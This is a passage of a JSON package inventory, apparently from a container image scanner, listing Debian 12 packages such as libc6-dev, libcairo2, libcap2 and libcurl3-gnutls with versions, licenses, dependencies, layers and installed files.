"/usr/include/x86_64-linux-gnu/bits/timex.h", "/usr/include/x86_64-linux-gnu/bits/types.h", "/usr/include/x86_64-linux-gnu/bits/types/FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__locale_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__sigval_t.h", "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h", "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h", "/usr/include/x86_64-linux-gnu/bits/types/cookie_io_functions_t.h", "/usr/include/x86_64-linux-gnu/bits/types/error_t.h", "/usr/include/x86_64-linux-gnu/bits/types/idtype_t.h", "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h", "/usr/include/x86_64-linux-gnu/bits/types/mbstate_t.h", "/usr/include/x86_64-linux-gnu/bits/types/res_state.h", "/usr/include/x86_64-linux-gnu/bits/types/sig_atomic_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigevent_t.h", "/usr/include/x86_64-linux-gnu/bits/types/siginfo_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigval_t.h", "/usr/include/x86_64-linux-gnu/bits/types/stack_t.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/struct___jmp_buf_tag.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_iovec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_itimerspec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_osockaddr.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_rusage.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_sched_param.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_sigstack.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_statx.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_statx_timestamp.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timeb.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_tm.h", "/usr/include/x86_64-linux-gnu/bits/types/time_t.h", "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h", "/usr/include/x86_64-linux-gnu/bits/types/wint_t.h", "/usr/include/x86_64-linux-gnu/bits/typesizes.h", "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h", "/usr/include/x86_64-linux-gnu/bits/uio-ext.h", "/usr/include/x86_64-linux-gnu/bits/uio_lim.h", "/usr/include/x86_64-linux-gnu/bits/unistd.h", "/usr/include/x86_64-linux-gnu/bits/unistd_ext.h", "/usr/include/x86_64-linux-gnu/bits/utmp.h", "/usr/include/x86_64-linux-gnu/bits/utmpx.h", "/usr/include/x86_64-linux-gnu/bits/utsname.h", "/usr/include/x86_64-linux-gnu/bits/waitflags.h", "/usr/include/x86_64-linux-gnu/bits/waitstatus.h", "/usr/include/x86_64-linux-gnu/bits/wchar-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/wchar.h", "/usr/include/x86_64-linux-gnu/bits/wchar2-decl.h", "/usr/include/x86_64-linux-gnu/bits/wchar2.h", "/usr/include/x86_64-linux-gnu/bits/wctype-wchar.h", "/usr/include/x86_64-linux-gnu/bits/wordsize.h", "/usr/include/x86_64-linux-gnu/bits/xopen_lim.h", "/usr/include/x86_64-linux-gnu/fpu_control.h", "/usr/include/x86_64-linux-gnu/gnu/lib-names-64.h", "/usr/include/x86_64-linux-gnu/gnu/lib-names.h", "/usr/include/x86_64-linux-gnu/gnu/libc-version.h", "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h", "/usr/include/x86_64-linux-gnu/gnu/stubs.h", "/usr/include/x86_64-linux-gnu/ieee754.h", "/usr/include/x86_64-linux-gnu/sys/acct.h", "/usr/include/x86_64-linux-gnu/sys/auxv.h", "/usr/include/x86_64-linux-gnu/sys/bitypes.h", "/usr/include/x86_64-linux-gnu/sys/cdefs.h", "/usr/include/x86_64-linux-gnu/sys/debugreg.h", "/usr/include/x86_64-linux-gnu/sys/dir.h", "/usr/include/x86_64-linux-gnu/sys/elf.h", "/usr/include/x86_64-linux-gnu/sys/epoll.h", "/usr/include/x86_64-linux-gnu/sys/errno.h", "/usr/include/x86_64-linux-gnu/sys/eventfd.h", "/usr/include/x86_64-linux-gnu/sys/fanotify.h", "/usr/include/x86_64-linux-gnu/sys/fcntl.h", "/usr/include/x86_64-linux-gnu/sys/file.h", "/usr/include/x86_64-linux-gnu/sys/fsuid.h", "/usr/include/x86_64-linux-gnu/sys/gmon.h", "/usr/include/x86_64-linux-gnu/sys/gmon_out.h", "/usr/include/x86_64-linux-gnu/sys/inotify.h", "/usr/include/x86_64-linux-gnu/sys/io.h", "/usr/include/x86_64-linux-gnu/sys/ioctl.h", "/usr/include/x86_64-linux-gnu/sys/ipc.h", "/usr/include/x86_64-linux-gnu/sys/kd.h", "/usr/include/x86_64-linux-gnu/sys/klog.h", "/usr/include/x86_64-linux-gnu/sys/mman.h", "/usr/include/x86_64-linux-gnu/sys/mount.h", "/usr/include/x86_64-linux-gnu/sys/msg.h", "/usr/include/x86_64-linux-gnu/sys/mtio.h", "/usr/include/x86_64-linux-gnu/sys/param.h", "/usr/include/x86_64-linux-gnu/sys/pci.h", "/usr/include/x86_64-linux-gnu/sys/perm.h", "/usr/include/x86_64-linux-gnu/sys/personality.h", "/usr/include/x86_64-linux-gnu/sys/pidfd.h", "/usr/include/x86_64-linux-gnu/sys/platform/x86.h", "/usr/include/x86_64-linux-gnu/sys/poll.h", "/usr/include/x86_64-linux-gnu/sys/prctl.h", "/usr/include/x86_64-linux-gnu/sys/procfs.h", "/usr/include/x86_64-linux-gnu/sys/profil.h", "/usr/include/x86_64-linux-gnu/sys/ptrace.h", "/usr/include/x86_64-linux-gnu/sys/queue.h", "/usr/include/x86_64-linux-gnu/sys/quota.h", "/usr/include/x86_64-linux-gnu/sys/random.h", "/usr/include/x86_64-linux-gnu/sys/raw.h", "/usr/include/x86_64-linux-gnu/sys/reboot.h", "/usr/include/x86_64-linux-gnu/sys/reg.h", "/usr/include/x86_64-linux-gnu/sys/resource.h", "/usr/include/x86_64-linux-gnu/sys/rseq.h", "/usr/include/x86_64-linux-gnu/sys/select.h", "/usr/include/x86_64-linux-gnu/sys/sem.h", "/usr/include/x86_64-linux-gnu/sys/sendfile.h", "/usr/include/x86_64-linux-gnu/sys/shm.h", "/usr/include/x86_64-linux-gnu/sys/signal.h", "/usr/include/x86_64-linux-gnu/sys/signalfd.h", "/usr/include/x86_64-linux-gnu/sys/single_threaded.h", "/usr/include/x86_64-linux-gnu/sys/socket.h", "/usr/include/x86_64-linux-gnu/sys/socketvar.h", "/usr/include/x86_64-linux-gnu/sys/soundcard.h", "/usr/include/x86_64-linux-gnu/sys/stat.h", "/usr/include/x86_64-linux-gnu/sys/statfs.h", "/usr/include/x86_64-linux-gnu/sys/statvfs.h", "/usr/include/x86_64-linux-gnu/sys/swap.h", "/usr/include/x86_64-linux-gnu/sys/syscall.h", "/usr/include/x86_64-linux-gnu/sys/sysinfo.h", "/usr/include/x86_64-linux-gnu/sys/syslog.h", "/usr/include/x86_64-linux-gnu/sys/sysmacros.h", "/usr/include/x86_64-linux-gnu/sys/termios.h", "/usr/include/x86_64-linux-gnu/sys/time.h", "/usr/include/x86_64-linux-gnu/sys/timeb.h", "/usr/include/x86_64-linux-gnu/sys/timerfd.h", "/usr/include/x86_64-linux-gnu/sys/times.h", "/usr/include/x86_64-linux-gnu/sys/timex.h", "/usr/include/x86_64-linux-gnu/sys/ttychars.h", "/usr/include/x86_64-linux-gnu/sys/ttydefaults.h", "/usr/include/x86_64-linux-gnu/sys/types.h", "/usr/include/x86_64-linux-gnu/sys/ucontext.h", "/usr/include/x86_64-linux-gnu/sys/uio.h", "/usr/include/x86_64-linux-gnu/sys/un.h", "/usr/include/x86_64-linux-gnu/sys/unistd.h", "/usr/include/x86_64-linux-gnu/sys/user.h", "/usr/include/x86_64-linux-gnu/sys/utsname.h", "/usr/include/x86_64-linux-gnu/sys/vfs.h", "/usr/include/x86_64-linux-gnu/sys/vlimit.h", "/usr/include/x86_64-linux-gnu/sys/vm86.h", "/usr/include/x86_64-linux-gnu/sys/vt.h", "/usr/include/x86_64-linux-gnu/sys/wait.h", "/usr/include/x86_64-linux-gnu/sys/xattr.h", "/usr/lib/x86_64-linux-gnu/Mcrt1.o", "/usr/lib/x86_64-linux-gnu/Scrt1.o", "/usr/lib/x86_64-linux-gnu/audit/sotruss-lib.so", "/usr/lib/x86_64-linux-gnu/crt1.o", "/usr/lib/x86_64-linux-gnu/crti.o", "/usr/lib/x86_64-linux-gnu/crtn.o", "/usr/lib/x86_64-linux-gnu/gcrt1.o", "/usr/lib/x86_64-linux-gnu/grcrt1.o", "/usr/lib/x86_64-linux-gnu/libBrokenLocale.a", "/usr/lib/x86_64-linux-gnu/libanl.a", "/usr/lib/x86_64-linux-gnu/libc.a", "/usr/lib/x86_64-linux-gnu/libc.so", "/usr/lib/x86_64-linux-gnu/libc_nonshared.a", "/usr/lib/x86_64-linux-gnu/libdl.a", "/usr/lib/x86_64-linux-gnu/libg.a", "/usr/lib/x86_64-linux-gnu/libm-2.36.a", "/usr/lib/x86_64-linux-gnu/libm.a", "/usr/lib/x86_64-linux-gnu/libm.so", "/usr/lib/x86_64-linux-gnu/libmcheck.a", "/usr/lib/x86_64-linux-gnu/libmvec.a", "/usr/lib/x86_64-linux-gnu/libpthread.a", "/usr/lib/x86_64-linux-gnu/libpthread_nonshared.a", "/usr/lib/x86_64-linux-gnu/libresolv.a", "/usr/lib/x86_64-linux-gnu/librt.a", "/usr/lib/x86_64-linux-gnu/libutil.a", "/usr/lib/x86_64-linux-gnu/rcrt1.o", "/usr/share/doc/libc6-dev/NEWS.Debian.gz", "/usr/share/doc/libc6-dev/changelog.Debian.gz", "/usr/share/doc/libc6-dev/changelog.gz", "/usr/share/doc/libc6-dev/copyright", "/usr/share/gdb/auto-load/lib/x86_64-linux-gnu/libc.so.6-gdb.py", "/usr/share/lintian/overrides/libc6-dev" ], "AnalyzedBy": "dpkg" }, { "ID": "libcairo2@1.16.0-7", "Name": "libcairo2", "Identifier": { "PURL": "pkg:deb/debian/libcairo2@1.16.0-7?arch=amd64\u0026distro=debian-12.13", "UID": "2fda673980c350b9" }, "Version": "1.16.0", "Release": "7", "Arch": "amd64", "SrcName": "cairo", "SrcVersion": "1.16.0", "SrcRelease": "7", "Licenses": [ "LGPL-2.1-only" ], "Maintainer": "Debian GNOME Maintainers \u003cpkg-gnome-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libfontconfig1@2.14.1-4", "libfreetype6@2.12.1+dfsg-5+deb12u4", "libpixman-1-0@0.42.2-1", "libpng16-16@1.6.39-2+deb12u1", "libx11-6@2:1.8.4-2+deb12u2", "libxcb-render0@1.15-1", "libxcb-shm0@1.15-1", "libxcb1@1.15-1", "libxext6@2:1.3.4-1+b1", "libxrender1@1:0.9.10-1.1", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcairo.so.2.11600.0", "/usr/share/doc/libcairo2/changelog.Debian.gz", "/usr/share/doc/libcairo2/changelog.gz", "/usr/share/doc/libcairo2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcap-ng0@0.8.3-1+b3", "Name": "libcap-ng0", "Identifier": { "PURL": "pkg:deb/debian/libcap-ng0@0.8.3-1%2Bb3?arch=amd64\u0026distro=debian-12.13", "UID": "2e64cbb5a6fbe405" }, "Version": "0.8.3", "Release": "1+b3", "Arch": "amd64", "SrcName": "libcap-ng", "SrcVersion": "0.8.3", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "GPL-2.0-or-later", "GPL-3.0-only", "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Håvard F. Aasen \u003chavard.f.aasen@pfft.no\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0", "/lib/x86_64-linux-gnu/libdrop_ambient.so.0.0.0", "/usr/share/doc/libcap-ng0/changelog.Debian.amd64.gz", "/usr/share/doc/libcap-ng0/changelog.Debian.gz", "/usr/share/doc/libcap-ng0/changelog.gz", "/usr/share/doc/libcap-ng0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcap2@1:2.66-4+deb12u2+b2", "Name": "libcap2", "Identifier": { "PURL": "pkg:deb/debian/libcap2@2.66-4%2Bdeb12u2%2Bb2?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "92f4f91f8bd7c87" }, "Version": "2.66", "Release": "4+deb12u2+b2", "Epoch": 1, "Arch": "amd64", "SrcName": "libcap2", "SrcVersion": "2.66", "SrcRelease": "4+deb12u2", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Christian Kastner \u003cckk@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libcap.so.2.66", "/lib/x86_64-linux-gnu/libpsx.so.2.66", "/usr/share/doc/libcap2/changelog.Debian.amd64.gz", "/usr/share/doc/libcap2/changelog.Debian.gz", "/usr/share/doc/libcap2/changelog.gz", "/usr/share/doc/libcap2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcc1-0@12.2.0-14+deb12u1", "Name": "libcc1-0", "Identifier": { "PURL": "pkg:deb/debian/libcc1-0@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "b233f5aa4a211ad5" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1", "libstdc++6@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libcom-err2@1.47.0-2+b2", "Name": "libcom-err2", "Identifier": { "PURL": "pkg:deb/debian/libcom-err2@1.47.0-2%2Bb2?arch=amd64\u0026distro=debian-12.13", "UID": "17b8400ead93a9bc" }, "Version": "1.47.0", "Release": "2+b2", "Arch": "amd64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.0", "SrcRelease": "2", "Licenses": [ "GPL-2.0-only", "LGPL-2.0-only", "BSD-3-Clause", "Apache-2.0", "ISC", "GPL-2.0-or-later", "MIT-US-export", "Kazlib", "Latex2e", "GPL-2+ with Texinfo exception" ], "Maintainer": "Theodore Y. Ts'o \u003ctytso@mit.edu\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libcom_err.so.2.1", "/usr/share/doc/libcom-err2/changelog.Debian.amd64.gz", "/usr/share/doc/libcom-err2/changelog.Debian.gz", "/usr/share/doc/libcom-err2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcrypt-dev@1:4.4.33-2", "Name": "libcrypt-dev", "Identifier": { "PURL": "pkg:deb/debian/libcrypt-dev@4.4.33-2?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "707985bd72cddbfd" }, "Version": "4.4.33", "Release": "2", "Epoch": 1, "Arch": "amd64", "SrcName": "libxcrypt", "SrcVersion": "4.4.33", "SrcRelease": "2", "SrcEpoch": 1, "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libcrypt1@1:4.4.33-2" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/include/crypt.h", "/usr/lib/x86_64-linux-gnu/libcrypt.a", "/usr/lib/x86_64-linux-gnu/pkgconfig/libxcrypt.pc", "/usr/share/doc/libcrypt-dev/README.md.gz", "/usr/share/doc/libcrypt-dev/TODO.md.gz", "/usr/share/doc/libcrypt-dev/changelog.Debian.gz", "/usr/share/doc/libcrypt-dev/changelog.gz", "/usr/share/doc/libcrypt-dev/copyright", "/usr/share/man/man3/crypt.3.gz", "/usr/share/man/man3/crypt_checksalt.3.gz", "/usr/share/man/man3/crypt_gensalt.3.gz", "/usr/share/man/man3/crypt_preferred_method.3.gz", "/usr/share/man/man5/crypt.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libcrypt1@1:4.4.33-2", "Name": "libcrypt1", "Identifier": { "PURL": "pkg:deb/debian/libcrypt1@4.4.33-2?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "f2b26a78cf12b344" }, "Version": "4.4.33", "Release": "2", "Epoch": 1, "Arch": "amd64", "SrcName": "libxcrypt", "SrcVersion": "4.4.33", "SrcRelease": "2", "SrcEpoch": 1, "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libcrypt.so.1.1.0", "/usr/share/doc/libcrypt1/changelog.Debian.gz", "/usr/share/doc/libcrypt1/changelog.gz", "/usr/share/doc/libcrypt1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libctf-nobfd0@2.40-2", "Name": "libctf-nobfd0", "Identifier": { "PURL": "pkg:deb/debian/libctf-nobfd0@2.40-2?arch=amd64\u0026distro=debian-12.13", "UID": "a2f6e019c5e1ec61" }, "Version": "2.40", "Release": "2", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.40", "SrcRelease": "2", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libctf-nobfd.so.0.0.0", "/usr/share/doc/libctf-nobfd0/changelog.Debian.gz", "/usr/share/doc/libctf-nobfd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libctf0@2.40-2", "Name": "libctf0", "Identifier": { "PURL": "pkg:deb/debian/libctf0@2.40-2?arch=amd64\u0026distro=debian-12.13", "UID": "585c12f3ecb11eba" }, "Version": "2.40", "Release": "2", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.40", "SrcRelease": "2", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbinutils@2.40-2", "libc6@2.36-9+deb12u13", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libctf.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libcups2@2.4.2-3+deb12u9", "Name": "libcups2", "Identifier": { "PURL": "pkg:deb/debian/libcups2@2.4.2-3%2Bdeb12u9?arch=amd64\u0026distro=debian-12.13", "UID": "fbb830847d618b07" }, "Version": "2.4.2", "Release": "3+deb12u9", "Arch": "amd64", "SrcName": "cups", "SrcVersion": "2.4.2", "SrcRelease": "3+deb12u9", "Licenses": [ "Apache-2.0-with-GPL2-LGPL2-Exception", "FSFUL", "Zlib", "Apache-2.0", "BSD-2-Clause" ], "Maintainer": "Debian Printing Team \u003cdebian-printing@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libavahi-client3@0.8-10+deb12u1", "libavahi-common3@0.8-10+deb12u1", "libc6@2.36-9+deb12u13", "libgnutls30@3.7.9-2+deb12u5", "libgssapi-krb5-2@1.20.1-2+deb12u4", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcups.so.2", "/usr/share/doc/libcups2/README.Debian.gz", "/usr/share/doc/libcups2/changelog.Debian.gz", "/usr/share/doc/libcups2/changelog.gz", "/usr/share/doc/libcups2/copyright", "/usr/share/doc/libcups2/examples/client.conf" ], "AnalyzedBy": "dpkg" }, { "ID": "libcurl3-gnutls@7.88.1-10+deb12u14", "Name": "libcurl3-gnutls", "Identifier": { "PURL": "pkg:deb/debian/libcurl3-gnutls@7.88.1-10%2Bdeb12u14?arch=amd64\u0026distro=debian-12.13", "UID": "79806a9e07f8146d" }, "Version": "7.88.1", "Release": "10+deb12u14", "Arch": "amd64", "SrcName": "curl", "SrcVersion": "7.88.1", "SrcRelease": "10+deb12u14", "Licenses": [ "curl", "OLDAP-2.8", "ISC", "GPL-2+ with Autoconf-data exception", "GPL-3+ with Autoconf-data exception", "GPL-2+ with Libtool exception", "BSD-3-Clause", "BSD-4-Clause-UC", "FSFULLR", "X11", "GPL-2.0-only" ], "Maintainer": "Alessandro Ghedini \u003cghedo@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbrotli1@1.0.9-2+b6", "libc6@2.36-9+deb12u13", "libgnutls30@3.7.9-2+deb12u5", "libgssapi-krb5-2@1.20.1-2+deb12u4", "libidn2-0@2.3.3-1+b1", "libldap-2.5-0@2.5.13+dfsg-5", "libnettle8@3.8.1-2", "libnghttp2-14@1.52.0-1+deb12u2", "libpsl5@0.21.2-1", "librtmp1@2.4+20151223.gitfa8646d.1-2+b2", "libssh2-1@1.10.0-3+b1", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4.8.0", "/usr/share/doc/libcurl3-gnutls/changelog.Debian.gz", "/usr/share/doc/libcurl3-gnutls/changelog.gz", "/usr/share/doc/libcurl3-gnutls/copyright", "/usr/share/lintian/overrides/libcurl3-gnutls" ], "AnalyzedBy": "dpkg" }, { "ID": "libdatrie1@0.2.13-2+b1", "Name": "libdatrie1", "Identifier": { "PURL": "pkg:deb/debian/libdatrie1@0.2.13-2%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "f37f225cd26deb2e" }, "Version": "0.2.13", "Release": "2+b1", "Arch": "amd64", "SrcName": "libdatrie", "SrcVersion": "0.2.13", "SrcRelease": "2", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Theppitak Karoonboonyanan \u003cthep@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdatrie.so.1.4.0", "/usr/share/doc/libdatrie1/NEWS.gz", "/usr/share/doc/libdatrie1/README", "/usr/share/doc/libdatrie1/changelog.Debian.amd64.gz", "/usr/share/doc/libdatrie1/changelog.Debian.gz", "/usr/share/doc/libdatrie1/changelog.gz", "/usr/share/doc/libdatrie1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libdb5.3@5.3.28+dfsg2-1", "Name": "libdb5.3", "Identifier": { "PURL": "pkg:deb/debian/libdb5.3@5.3.28%2Bdfsg2-1?arch=amd64\u0026distro=debian-12.13", "UID": "6859a95455495fe8" }, "Version": "5.3.28+dfsg2", "Release": "1", "Arch": "amd64", "SrcName": "db5.3", "SrcVersion": "5.3.28+dfsg2", "SrcRelease": "1", "Licenses": [ "Sleepycat", "BSD-3-Clause", "MS-PL", "GPL-2.0-or-later", "Artistic-2.0", "X11", "MIT-old", "TCL-like", "BSD-3-clause-fjord", "GPL-3.0-only", "Zlib" ], "Maintainer": "Bastian Germann \u003cbage@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdb-5.3.so", "/usr/share/doc/libdb5.3/build_signature_amd64.txt", "/usr/share/doc/libdb5.3/changelog.Debian.gz", "/usr/share/doc/libdb5.3/copyright", "/usr/share/lintian/overrides/libdb5.3" ], "AnalyzedBy": "dpkg" }, { "ID": "libdbus-1-3@1.14.10-1~deb12u1", "Name": "libdbus-1-3", "Identifier": { "PURL": "pkg:deb/debian/libdbus-1-3@1.14.10-1~deb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "d1a4934339349e6" }, "Version": "1.14.10", "Release": "1~deb12u1", "Arch": "amd64", "SrcName": "dbus", "SrcVersion": "1.14.10", "SrcRelease": "1~deb12u1", "Licenses": [ "GPL-2.0-or-later", "AFL-2.1", "MIT", "Tcl-BSDish", "BSD-3-Clause", "BSD-3-clause-generic", "autoconf-archive-permissive", "FSF-unlimited-permission", "GPL-2.0-with-autoconf-exception+", "LGPL-2.1-or-later", "g10-permissive", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Utopia Maintenance Team \u003cpkg-utopia-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libsystemd0@252.39-1~deb12u1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libdbus-1.so.3.32.4", "/usr/share/doc/libdbus-1-3/AUTHORS.gz", "/usr/share/doc/libdbus-1-3/NEWS.gz", "/usr/share/doc/libdbus-1-3/README.gz", "/usr/share/doc/libdbus-1-3/changelog.Debian.gz", "/usr/share/doc/libdbus-1-3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libdebconfclient0@0.270", "Name": "libdebconfclient0", "Identifier": { "PURL": "pkg:deb/debian/libdebconfclient0@0.270?arch=amd64\u0026distro=debian-12.13", "UID": "3d32c8b809ed7b14" }, "Version": "0.270", "Arch": "amd64", "SrcName": "cdebconf", "SrcVersion": "0.270", "Licenses": [ "BSD-2-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian Install System Team \u003cdebian-boot@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdebconfclient.so.0.0.0", "/usr/share/doc/libdebconfclient0/changelog.gz", "/usr/share/doc/libdebconfclient0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libdpkg-perl@1.21.22", "Name": "libdpkg-perl", "Identifier": { "PURL": "pkg:deb/debian/libdpkg-perl@1.21.22?arch=all\u0026distro=debian-12.13", "UID": "f381a6513ce8312c" }, "Version": "1.21.22", "Arch": "all", "SrcName": "dpkg", "SrcVersion": "1.21.22", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "BSD-2-Clause", "public-domain-s-s-d" ], "Maintainer": "Dpkg Developers \u003cdebian-dpkg@lists.debian.org\u003e", 